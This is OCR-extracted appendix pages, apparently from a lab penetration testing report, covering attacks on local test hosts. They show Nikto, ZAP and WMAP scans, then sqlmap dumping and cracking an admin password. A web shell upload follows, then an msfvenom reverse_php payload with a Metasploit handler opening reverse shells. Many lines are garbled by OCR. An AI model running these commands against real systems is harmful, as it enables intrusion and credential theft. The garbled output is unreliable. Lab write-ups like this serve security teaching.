Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.

PHP/5.2.4-2ubuntu5.10 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch.

PHP/5.2 - PHP 3/4/5 and 7.0 are End of Life products without support.

OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE .

/: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/ww-community/attacks/Cross_Site_Tracing
/phpinfo.php?VARIABLE=<script>alert('Vulnerable')</script>: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.

/phpinfo.php: Output from the phpinfo() function was found.

/phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552

/icons/: Directory indexing found.

/icons/README: Apache default file found. See: https://ww.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
/tikiwiki/tiki-graph_formula.php?w=16h=16s=16min=16max=26f[]=x.tan.phpinfo()&t=pngétitle=http://blog.cirt.net/rfiinc.txt: Cookie PHPSESSID created wi
thout the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies

+ /tikiwiki/tiki-graph_formula.php: Output from the phpinfo() function was found.

+ /tikiwiki/tiki-graph_formula.php?w=16h=16s=16min=16max=26f[]=x.tan.phpinfo()&t=pngétitle=http://blog.cirt.net/rfiinc.txt: TikiWiki contains a vulnera
bility which allows remote attackers to execute arbitrary PHP code. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5423

+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.

+ 8909 requests: 1 error(s) and 19 item(s) reported on remote host

+ End Time: 2026-03-04 18:53:35 (GMT@) (60 seconds)

DI SR S T

+
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Nikto scan results — Web Server 192.168.0.4 Figure 98

8 nikt 192.168.0.4
- Nikto v2.5.0
+ Target IP: 192.168.0.4
+ Target Hostname: 192.168.0.4
+ Target Port: 80
+ Start Time: 2026-03-04 18:54:08 (GMTO)

+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.

+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME t
ype. See: https://ww.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/

+ /index: Uncommon header 'tcn' found, with contents: list.

+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'ind
ex' were found: index.php. See: http://ww .wisec.it/sectou.php? 59d15,https: // .xforce.ibmcloud.com/vulnerabilities/8275

Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.

/: Web Server returns a valid response with junk HTTP methods which may cause false positives.

/: HTTP TRACE method is active which suggests the host 1s vulnerable to XST. See: https://owasp.org/ww-community/attacks/Cross_Site_Tracing
/phpinfo.php: Output from the phpinfo() function was found.

/doc/: Directory indexing found.

/doc/: The /doc/ directory is browsable. This may be /usr/doc. See: http://cve.mitre.org/cgi-bin/cvename.cgiZnam
/%=PHPBBB5F2A0-3C92-11d3-A3A9-4C7B08C1000
/2=PHPE9568F36-D428-11d2-A769-00AAD0O1ACF4.

CVE-1999-0678
PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
/2=PHPE9S6BF34-D428-11d2-A769-00AA001ACF4 PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
/?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
/phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
/phpMyAdmin/ChangeLog: Server may leak inodes via ETags, header found with file /phpMyAdmin/Changelog, inode: 92462, size: 40540, mtime: Tue Dec 9 17:24:00 2008. See: http:
/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
/ChangeLog: n 1s for managing MySQL databases, and should be protected or limited to authorized hosts.
/test/: Directory indexing found.
/test/: This might be interesting.
/phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552
/icons/: Directory indexing found.
/icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
/phpMyAdmin/: phpMyAdmin directory found.
/phpMyAdmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
/phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. See: https://typo3.org/
/#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
8910 requests: 0 error(s) and 27 item(s) reported on remote host
End Time: 2026-03-04 18:55:22 (GMT@) (74 seconds)

P I R R R

+ 1 host(s) tested

Nikto scan results — Web Server 192.168.0.5 Figure 99

5 root® kali)- [ /home/thunders9 R
nikto -host 192.168.0.5

- Nikto v2.5.0

+ Target IP: 192.168.0.5

+ Target Hostname: 192.168.0.5

+ Target Port: 80

+ Start Time: 2026-03-04 18:55:42 (GNTO)

Server: Apache/2.2.16 (Debian)

/: Retrieved x-powered-by header: PHP/S5.3.3-7+squeezel4.

/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

/: The X-Content-Type-Options header 1s not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://ww.
netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/

+ /index: Uncommon header 'tcn’ found, with contents: list.

+ /index: Apache mod_negotiation 1s enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index’ were found: index.
php. See: http://ww.wisec.it/sectou.php?id=4698ebdc59d15,https: //exchange.xforce.ibmcloud.com/vulnerabilities/8275

+ Apache/2.2.16 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.

+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value 1s "127.0.0.1%. See: http://cve.mitre.org/cgi-bin
/cvename. cgi?name=CVE-2000-0649

+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.

+ /admin/login.php?path=\"></ form> =1%20val t;script>alert('Vulnerable')</script>: Cookie PHPSESSID created without the httponly flag. See:
https: //developer.mozilla.org/en-US/docs/Web/HTTP/Cookies

+ /admin/login.php?action=1 r : phpAuction may allow user admin accounts to be inserted without proper authentication. Attempt to log in with use
r 'test' password ‘test' to verify. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0995

+ /2=PHPBBBSF2A0-3C92-11d3-A3A9-4C7B0BC10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: 0SVDB-12184

+ /2=PHPE9S68F16-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184

+ /7=PHPE9S568F34-D428-11d2-A769-00AA00IACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
./ 35-D428-11d2-A7! 001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184

+ /css/: Directory indexing found.

+ /css/: This might be interesting.

+ /icons/: Directory indexing found.

+ /images/: Directory indexing found.

+ /icons/README: Server may leak inodes via ETags, header found with file /icons/README, inode: 3492, size: 5108, mtime: Tue Aug 28 10:48:10 2007. See: http://cve.mitre.org/cg
i-bin/cvename . cgi?name=CVE-2003-1418

+ /icons/README: Apache default file found. See: https://ww.vntweb.co.uk/apache-restricting-access-to-iconsreadme/

+ /admin/login.php: Admin login page/section found.

+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.

+ 8911 requests: 0 error(s) and 22 item(s) reported on remote host

+ End Time: 2026-03-04 18:56:20 (GMTO) (38 seconds)

+
+

+ 1 host(s) tested

Metasploit WMAP web application enumeration Figure 100

msf6 > load wmap

I O O O T I T I
[WMAP 1.5.1] == et [ ] metasploit.com 2012

[*] Successfully loaded plugin: wmap

msf6 > wmap_sites -a 192.168.0.5

[*] site created.

msf6 > wmap_targets -t 192.168.0.5

msf6 > wmap_run -e

[*] using ALL wmap enabled modules.

[-] NO WMAP NODES DEFINED. Executing local modules
[*] Testing target:

[*] Site: 192.168.0.5 (192.168.0.5)
[*] Port: 80 SSL: false

[*] Testing started. 2026-03-04 19:01:21 +0000
[*] Loading wmap modules ...
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OWASP ZAP web vulnerability scanner interface Figure 101

File Edit View Analyse Report Tools Import Export Online Help

standard Mode EdEp@& % A D DS A8 V| @ % @ @ ewle®
@ Sites 4 5 ¥ Quick Start # = Request  ¢= Response ’ Requester <
@B = permission to test. ’ ! " ’ ' ’ :
5 Contexts
[2) Default Context
@ sites URL to attack: http://192.168.0.5 < | @ Select...
Use traditional spider: [/
Use ajax spider: If Modern with  Firefox Headless
& Attack
Progress:

Attack complete - see the Alerts tab for details of any issues found
™ History “ Search [ Alerts &

+
@ee J ¢ Full details of any selected alert will be displayed here.
L Alerts (14)

Output  # Spider ) Active Scan

R Cross Site Scripting (Reflected) You can manually add alerts by right clicking on the relevant line in the history and selecting 'Add alert".
[ sQL Injection - MySQL (2)
[ Absence of Anti-CSRF Tokens

You can also edit existing alerts by double clicking on them.
[ Content Security Policy (CSP) Header Not Set (12

OWASP ZAP vulnerability alert summary Figure 102

D file: 4-ZAP-Report-.html

Greenbone Security As..

KaliLinux & Kali

X Kali Forums X Kali NetHunter
ZAP is supported by the Crash Override Open Source Fellowship

Summary of Alerts

Risk Level

Number of Alerts

c

C @ DO file

OWASP ZAP detailed vulnerability report Figure 103

yme/thunder4
& Greenbone Security As Kali Linux @ KaliTools * KaliDocs N Kali Forums

Alerts

Risk Level

Number of Instances

High

High

Content. Security Policy (CSP). Header Not Set Medium 13
Directory Browsing Medium 3
Missing Anti-clickjacking Header Medium 1
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Website Vulnerability Assessment NetDiscover Figure 104
thunder49® kali)-[~

$ sudo su
——(root® kali)-[/home/thunder49’
—H# bro
IP At MAC Address Count Len MAC Vendor / Hostname
192.168.0.2 00:00:00:11:11:11 1 42 XEROX CORPORATION
192.168.0.4 00:00:00:11:11:12 1 60 XEROX CORPORATION
192.168.0.5 20:00:00:11:11:13 1 42 XEROX CORPORATION
i o
—(root® kali)-[/home/thunder49’
g l

SQL I'ection Photoblog Initial Page Load Figure 105

B  MyPhotoblog - last picture X

“ C @ O A& 19 w ® ®@ A =

& Greenbone Security As. Kali Linux #8 KaliTools < KaliDocs W Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB 0 SpiderFoot v4.0.0

My Awesome Photoblog

Home | test | ruxcon | 2010 | All pictures | Admin

last picture: cthulhu

SQL Injection Photoblog Parameter Input hacker Figure 106
« cC @ 92.168.0

} 19 ® ® 5 =

¢ Greenbone Security As Kali Linux # KaliTools * KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec SpiderFoot v4.0.0

My Awesome Photoblog

Home | test | ruxcon | 2010 | All pictures | Admin

picture: hacker
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SQL Injection Photoblog Blank Response After Injection Figure 107

5  Myawesome Photoblog

« C @ Q A 192 5t W ® ® O

¢ Greenbone Security As.. KaliLinux @ Kali Tools = KaliDocs M Kali Forums ¢\ Kali NetHunter Exploit-DB Google Hacking DB OffSec SpiderFoot v4.0.0

My Awesome Photoblog

Home | test | ruxcon | 2010 | All pictures | Admin

SQL Injection SQL Syntax Error Message Exposure Figure 108

I =

Kalilinux #& KaliTools « KaliDocs M KaliForums ! Kali NetHunter Exploit-DB Google Hacking DB

My Awesome Photoblog

Home | test | ruxcon | 2010 | All pictures | Admin

SQL Injection SQL Error Validation Repeated Injection Figure 109

B +

s N Kali Forums « Kali NetHunter Exploit-DB Google Hacking DB OffSec

My Awesome Photoblog

Home | test | ruxcon | 2010 | All pictures | Admin
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SQL Injection

O My ome oblog

Order By Column Enumeration Failure Figure 110

I B ® ® & =

Security As... Kali Linux @ KaliTools « KaliDocs M Kali Forums X Kali NetHunter Exploit-DB Hacking DB OffSec SpiderFoot v4.0.0

My Awesome Photoblog

Home | test | ruxcon | 2010 | All pictures | Admin

SQL Injection Union Select Numeric Ou

(3] ne Photoblog X +

tput Validation Figure 111
S

« C @ Q w @ @ &

& Greenbone Security As. KaliLinux @ KaliTo  KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec SpiderFoot v4.0.0

My Awesome Photoblog

Home | test | ruxcon | 2010 | All pictures | Admin

picture: 2

SQL Injection Union Select Database Name photoblog Extraction Figure 112

some Photoblog

c & 0] W @ @ a

Security As KaliLinux g8 KaliTools « Kali Docs M Kali Forums [XX Kali NetHunter Exploit-DB G e Hacking DB OffSec SpiderFoot v4.0.0

My Awesome Photoblog

Home | test | ruxcon | 2010 | All pictures | Admin

picture: photoblog
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SQL Injection NetDiscover Network Discovery Output Figure 113
——( thunder49% kali)-[~

—$ sudo su
—(root® kali)-[/home/thunder49]
—# netdiscover -i br@ -L
IpP At MAC Address Count Len MAC Vendor / Hostname
192.168.0.5 P0:00:00:11:11:13 1 42 XEROX CORPORATION
*C

—(root® kali)-[/home/thunder49]

SQL Injection SQLmap Initial Injection Detection Scan Figure 114

—(root® kali)-[/home/thunder49’
Lg sql

Tl al
| P PO 8 -
I

;Tlf’ 1.8.12#stable

I_IV..

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all app
licable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 19:21:16 /2026-03-18/

[1InFO
(i

] testing connection to the target URL

] checking if the target is protected by some kind of WAF/IPS

NFO] testing if the target URL content is stable

NFO] target URL content is stable

NFO] testing if GET parameter * ' is dynamic

NFO) GET parameter ' ' appears to be dynamic

INFO) heuristic (basic) test shows that GET parameter ' ' might be injectable (possible DBMS: ' ) )

INFO] heuristic (XSS) test shows that GET parameter ' ' might be vulnerable to cross-site scripting (XSS) attacks
] testing for SQL injection on GET parameter ' °

e back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] ]

Pl S i P T P P P P

[

[

[ [
( [
[ [
(1 [
( [
( [
[ [
i k

t looks like th

SQL Injection SQLmap Database Enumeration Results Figure 115

[19:21:45] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 6 (squeeze)

web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL = 5.0

[19:21:45] [INFO] fetching database names

available databases [2]:

[*] information_schema

[*] photoblog

[19:21:45] [INFO] fetched data logged to text files under ' :
[19:21:45] [ ] your sglmap version is outdated

[*] ending @ 19:21:45 /2026-03-18/
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SQL Injection SQL Database Tables Listi hotoblog Fi 116
RrpjheqcllgnJQL map Database Tables Listing photoblog Figure

) W - | !'I:l.l-.lll..ll! LS - Y I W R R [“5 - B~ L -3
Database: information_schema
[28 tables)
+

CHARACTER_SETS
COLLATIONS

COLLATION CHARACTER_SET_APPLICABILITY
COLUMN_PRIVILEGES

FILES

GLOBAL_STATUS

GLOBAL _VARIABLES
KEY_COLUMN_USAGE
PROFILING
REFERENTIAL_COMSTRAINTS
ROUTINES

SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS

SESSION VARIABLES
STATISTICS
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
USER_PRIVILEGES

VIEWS

COLUMNS

ENGINES

EVENTS

PARTITIONS

PLUGINS

PROCESSLIST

TABLES

TRIGGERS

+ +

Database: photoblog
[3 tables)
*-

*-
categories
pictures
USers
+ +

E:u:hq :‘] [IHF:] fetched data logged to text files under '
19! 27 aanInc] your sqlmap version is outdated

‘‘‘‘‘ F

[#] ending § 19:24:27 /2026-83-18/

Page 109 of 119




Autoliv Pen Testing Report

SQL Injection SQLmap Database Table Confirmation Output Figure 117

[ 3:26:27) [wrFo] the back-end DBMS is
web server operatin {5tem Linux Debian & (squeeze)
web appl1tat1nn tec nu ugy Apache 2.2.16, PHP 5.3.3

back-end DBHE 5.0
19124127 etthlng database names
19:24:27 fetching tables for databases:

Database: 1nfnrmat1un _schema
[28 tables)
*—

CHARACTER_SETS
COLLATIONS

COLLATION CHARACTER_SET_APPLICABILITY
COLUMN_PRIVILEGES

FILES

GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES

SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
USER_PRIVILEGES

VIEWS

COLUMNS

ENGINES

EVENTS

PARTITIONS

PLUGINS

PROCESSLIST

TABLES

TRIGGERS

* +*

Database: photoblog

[3 tables)

+ +
categories

pictures

USers

* *

E:a::q::"} [1 F0] fetched data logged to text files under
19:24:27] [was 1 your sqlmap version is outdated

-

[#] ending § 19:24:27 /2026-83-18/

Page 110 of 119




Autoliv Pen Testing Report

SQL Injection SQLmMap Column Enumeration users table Figure 118

web application technology: Apache 2.2.16, PHP 5.3.3
back-end DBMS: MysSQL 2 5.0

[ 11 ] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns
[ 53] [1uFo] fetching current database

[ ] (1 ] fetching tables for database: .

{ s:ss] (1 ] fetching columns for table ' ' in database '

[ .] [turo] fetching columns for table * ' in database '

[: 11« ] fetching columns for table * ' in database '

Datal;ase: photoblog
Table: users
[3 columns]

- + +

| Column | Type |

- + +

| id | mediumint(9) |

| login | varchar(se) |

| password | varchar(se) |

- + +

Database: photoblog

Table: pictures

{4 columns]

. + +

| Column | Type |

+ + +

| cat | mediumint(9) |

| ad | mediumint(9) |

| img | varchar(se) |

| title | varchar(se) |

- + +

Database: photoblog I
Table: categories .
[2 columns]

- + +

| Column | Type |

- + +

| id | mediumint(9) |

| title | varchar(se) |

+ + +

[: s4] ] fetched data logged to text files under '
[: s4] [ ] your sqlmap version is outdated

[+] ending § 19:25:54 /2026-03-18/

SQL Injection SQLmap Database Dump Execution Figure 119

—{(root® kali)-[/home/thunder49)

Lg sqlmar photoblog
1.8.12#stable

|

|

[ —
I <l
| [ |

il -1
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all app
licable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:28:37 /2026-03-18/

[19:28:37] [INFO] resuming back-end DBMS *
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SQL Injection SQLmap Credential Dump admin password Figure 120

[ 110 ] using default dictionary

do you want to use common password suffixes? (slow!) [y/N] v

[ | ] starting dictionary-based cracking (md5_generic_passwd)
[ 110 ] starting &4 processes

[ 110 ] cracked password ' ' for user '

Database: photoblog
Table: users

[1 entry]

+ + + +

| id | login | password |

+ + + +

| 1 | admin | Befe310f9%9ab3efeaeBd410aBed166eb2 (P4sswdrd) |

+ + + +

[ 110 ] table ' ' dumped to CSV file '

[ 11 ] fetching columns for table ' ' in database ' '

[ | [MJ unable to connect to the target URL. sglmap is going to retry the request(s)
[ 110 fetching entries for table ' ' in database ' '

Database: photoblog
Table: pictures
[3 entries]

+ - - - +

| id | cat | img | title |

+ + + + +

1 | 2 | hacker.png | Hacker |

2 11 | ruby.ipg | Ruby |

I3 11 | cthulhu.png | Cthulhu |

+ + + + +

[ 110 ] table ' ' dumped to CSV file '
[ 110 ] fetched data logged to text files under '

[ 11 ] your sqlmap version 1is outdated

[+] ending & 19:29:03 /2026-03-18/

SQL Injection Photoblog Admin Panel Access Figure 121

E] Administration of my Awe:

« c @

& Greenbone Security As... KaliLinux @8 KaliTools ¢ KaliDocs W Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec SpiderFoot v4.0.0

Administration of my Awesome Photoblog

Hacker ||delete Home | Manage pictures | New picture | Logout

Ruby |ldelete
Cthulhul|delete

dd a new picture

SQL Injection Admin Panel Reload No PHP Execution Figure 122

< cC @ O ¢ U ® @ 8 =

& Greenbone Security As. Kali Linux & KaliTools ¢ KaliDocs X Kali Forums X Kali NetHunter Exp Google Hacking DB OffSec SpiderFoot v4.0.0

Administration of my Awesome Photoblog

X Home | Manage pictures | New picture | Logout
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SQL Injection Web Shell Upload shelly3 Display Figure 123

= C @ O A& 192.168.05 ~ 9 ® A8

& Greenbone Security As.. Kali Linux & KaliTools ¢ KaliDocs X Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec SpiderFoot v4.0.0

My Awesome Photoblog

Home | test | ruxcon | 2010 | All pictures | Admin

picture: shelly3

SQL Injection Web Shell Command id Execution Output Figure 124

— C @ O A& 192.168.0.5 ok ® ® N

& Greenbone Security As.. KaliLinux @ KaliTools < KaliDocs X Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec SpiderFoot v4.0.0

uid=33(www-data) gid=33(www-data) groups=33(www-data)

SQL Injection Web Shell Directory Listing Is Output Figure 125

« C @ O A& 192168.0.5 Y ® @

& Greenbone Security As.. KaliLinux @ KaliTools <« KaliDocs X Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB OffSec SpiderFoot v4.0.0

total 67 drwxrwxrwx 2 www-data www-data 60 Mar 22 21:27 . drwxr-xr-x 4 www-data www-data 60 Sep 21 2012 .. -rw-r-r-— 1 www-data www-data 27582 Sep 20
2012 cthulhu.png -rw-r-r- 1 www-data www-data 24110 Sep 20 2012 hacker.png -rw-r-r- 1 www-data www-data 11505 Sep 20 2012 ruby.jpg -rw-r-r- 1 www-
data www-data 38 Mar 22 21:27 shelly3.pHp

pwd Output Figure 126

SQL Injection Web Shell Current Director

« C @ 0 a )5

& Greenbone Security As KaliLinux @& Kali Tools < KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec SpiderFoot v4.0.0

fvarfwww/admin/uploads

SQL Injection Web Shell Directory Path Confirmation Figure 127

(= C @ O A& 192.168.0.5

bone Security As... KaliLinux g8 KaliTools * KaliDocs N Kali Forums ¢\ Kali NetHunter Exploit-DB Google Hacking DB OffSec SpiderFoot v4.0.0

®@ @ 8 =

fvar/fwww/admin/uploads

SQL Injection Web Shell File Upload hacked3 Directory Creation Figure 128

O  192.168.0.5/admin/uploads/- X  +

€ C @ O A& 192168.0.5 ; m——

& Greenbone Security As KaliLinux @ KaliTools ¢ KaliDocs X Kali Forums @ Kali NetHunter Exploit-DB Google Hacking DB OffSec SpiderFoot v4.0.0
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SQL Injection Web S

« C @ Q

With Uploaded Files Figure 129

hell Directory Listing

& Greenbone Security As KaliLinux # KaliTools ¢ KaliDocs N Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

total 67 drwxrwxrwx 3 www-data www-data 80 Mar 22 21:32 . drwxr-xr-x 4 www-data www-data 60 Sep 21 2012 .. -rw-r-r- 1 www-data www-data 27582 Sep 20
2012 cthulhu.png drwxr-xr-x 2 www-data www-data 40 Mar 22 21:32 JER LK -rw-r-r— 1 www-data www-data 24110 Sep 20 2012 hackerpng -rw-r-r-- 1 www-
data www-data 11505 Sep 20 2012 ruby.jpg -rw-r-r-- 1 www-data www-data 38 Mar 22 21:27 shelly3.pHp

SQL Injection msfvenom PHP Payload Creation shelly3 Figure 130

—(root® kali)-[/home/thunder49]

L# msf php/reverse_php LHOST=192.168.0.1 LPORT=1337 R > shelly3.php

[-] No platform was selected, choosing Msf::Module::Platform:: PHP from the payload
[-] No arch selected, selecting arch: php from the payload

No encoder specified, outputting raw payload

Payload size: 2973 bytes

SQL Injection Photoblog Payload Execution shelly again Figure 131
&« C 0 O A 19 0.5 w ® ®@ 9 =

& Greenbone Security As Kali Linux # KaliTools <« KaliDocs X Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec SpiderFoot v4.0.0

My Awesome Photoblog

Home | test | ruxcon | 2010 | All pictures | Admin

picture: shelly-again

SQL Injection Metasploit Framework Initialization Workspace Setup Figure 132

,d0d,
=[ ]
+ — —=[ 2467 exploits - 1273 auxiliary - 431 post ]
+ — —=[ 1478 payloads - 49 encoders - 13 nops ]
+ — —=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

nsf6 > workspace ws?2
Workspace: ws2

> [

-

*]
sf6
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SQL Injection Metasploit Exploit Module Search Results Figure 133

msf6 > grep exploit search multi/handler

0 exploit/linux/local/apt_package_manager_persistence 1999-03-09

1 exploit/android/local/janus 2017-07-31

3  exploit/linux/local/bash_profile_persistence 1989-06-08

4  exploit/linux/local/desktop_privilege_escalation 2014-08-07

7 exploit/multi/handler .

8 exploit/windows/mssql/mssql_linkcrawler 2000-01-01
ution

exploit/windows/browser/persits_xupload_traversal 2009-09-29

sal

10 exploit/linux/local/yum_package_manager_persistence 2003-12-17
Interact with a module by name or index. For example info 1@, use 10 or use exploit/linux/local/yum_package_manager_persistence

SQL Injection Metasploit Multi Handler Reverse Shell Session Open Figure 134
msf6 exploit(multi/handler) > set LHOST 192.168.0.1
LHOST = 192.168.0.1
msf6 exploit(multi/handler) > set LPORT 1337
LPORT = 1337
msf6 exploit(multi/handler) > run

[#] Started reverse TCP handler on 192.168.0.1:1337
[*] Command shell session 1 opened (192.168.0.1:1337 — 192.168.0.5:37158) at 2026-03-22 22:24:33 +0000

excellent No

manual

normal No
excellent

manual No
great No

excellent No

excellent No

APT Package Manager Persistence

Yes Android Janus APK Signature bypass

Bash Profile Persistence

Yes Desktop Linux Password Stealer and Privilege Escalation

Generic Payload Handler
Microsoft SQL Server Database Link Crawling Command Exec

Persits XUpload ActiveX MakeHttpRequest Directory Traver

Yum Package Manager Persistence

[*] Command shell session 2 opened (192.168.0.1:1337 — 192.168.0.5:37159) at 2026-03-22 22:24:34 +0000
SQL Injection Metasploit Reverse Shell Directory Enumeration Figure 135

nsf6 exploit(multi/handler) > run

[#] Started reverse TCP handler on 192.168.0.1:1337
[*] Command shell session 3 opened (192.168.0.1:1337 — 192.168.0.5:37160) at 2026-03-22 22:29:14 +0000

[*] Command shell session &4 opened (192.168.0.1:1337 — 192.168.0.5:37161) at 2026-03-22 22:29:19 +0000

1s

cthulhu.png

hacked3
hacker.png
ruby. jpg

shelly3.pHP

shelly3.pHp

1s -la
total 71
drwxrwxrwx
drwxr-xr-x
-rw-r—r-——
drwxr-xr-x
-rw-r—r—
-rw-r—r—
-rw-r-—r-——
-rw-r--r--
pwd

/var/ww/admin/uploads

1s

3
4
1
2
1
1
1
1

www-data
www-data
www-data
www-data
www-data
www-data
www-data
www-data

cthulhu.png

hacked3

hacker.png
ruby. jpg
shelly3.pHP
shelly3.pHp
mkdir hacked4
mkdir hacked3

ww-data
ww-data
www-data
www-data
www-data
ww-data
waw-data
www-data

100 Mar
6@ Sep
27582 Sep
40 Mar
24110 Sep
11505 Sep
2973 Mar
38 Mar

22
21
20
22
20
20
22
22

21:40 .

2012 .

2012 cthulhu.png
21:32 hacked3
2012 hacker.png
2012 ruby.jpg
21:40 shelly3.pHP
21:27 shelly3.pHp

1ls -la

total 71

drwxrwxrwx 4 www-data www-data 120 Mar
drwxr-xr-x 4 www-data www-data 60 Sep
-rw-r——r-— 1 www-data www-data 27582 Sep
drwxr-xr-x 2 ww-data ww-data 40 Mar
drwxr-xr-x 2 www-data ww-data 40 Mar
-rw-r——r-— 1 www-data www-data 24110 Sep
-rw-r-—-r-- 1 www-data www-data 11505 Sep
-rw-r-—-r-—— 1 www-data www-data 2973 Mar
;rw-r-—r-— 1 ww-data www-data 38 Mar

22
21
20
22
22
20
20
22
22

22:31
2012
2012

21:32

22:31
2012
2012

21:40

21:27
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